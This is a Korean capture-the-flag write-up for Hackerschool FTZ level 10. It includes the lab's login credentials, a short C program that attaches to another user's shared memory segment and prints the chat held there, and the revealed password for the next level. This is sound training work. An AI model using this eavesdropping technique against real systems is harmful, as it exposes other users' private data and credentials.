Wargame/FTZ
Hackerschool FTZ level10
pwn3r_45
2011. 7. 17. 13:22
Category : System hacking
ssh://ftz.hackerschool.org
id : level10
pw : interesting to hack! |
Summary : Tap chatting based on shared memory
서버에 접속하여 문제 파일을 확인한다.
[level10@ftz level10]$ ls -l
합계 16
-rw-r----- 1 root level10 253 1월 14 2010 hint
drwxr-x--- 2 root root 4096 3월 29 2003 program
drwxr-xr-x 2 root level10 4096 2월 24 2002 public_html
drwxrwxr-x 2 root level10 4096 7월 12 02:40 tmp
[level10@ftz level10]$ cat hint
두명의 사용자가 대화방을 이용하여 비밀스런 대화를 나누고 있다.
그 대화방은 공유 메모리를 이용하여 만들어졌으며,
key_t의 값은 7530이다. 이를 이용해 두 사람의 대화를 도청하여
level11의 권한을 얻어라.
- 레벨을 완료하셨다면 소스는 지우고 나가주세요. |
공유메모리 기반의 채팅을 도청하는 것이 문제의 목적이다.
공유메모리의 정보를 확인한 후 , C로 공유메모리의 데이터를 얻어오는 프로그램을 작성해 실행한다.
[level10@ftz tmp]$ ipcs
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0x00001d6a 0 root 666 1028 0
0x46532e4f 65538 trainer10 777 5 1
------ Semaphore Arrays --------
key semid owner perms nsems
------ Message Queues --------
key msqid owner perms used-bytes messages
[level10@ftz tmp]$ vi tapper.c
[level10@ftz tmp]$ cat tapper.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/shm.h>
int main()
{
long addr;
key_t key = 7530;
int shmid;
shmid = shmget(key , 1028 , IPC_CREAT);
addr = shmat(shmid , 0 , SHM_RDONLY);
printf("%s" , addr);
}
[level10@ftz tmp]$ gcc -o tapper tapper.c
tapper.c: In function `main':
tapper.c:12: warning: assignment makes integer from pointer without a cast
[level10@ftz tmp]$ ./tapper
멍멍: level11의 패스워드는?
구타: what!@#$? |
level10 user의 password를 얻었다.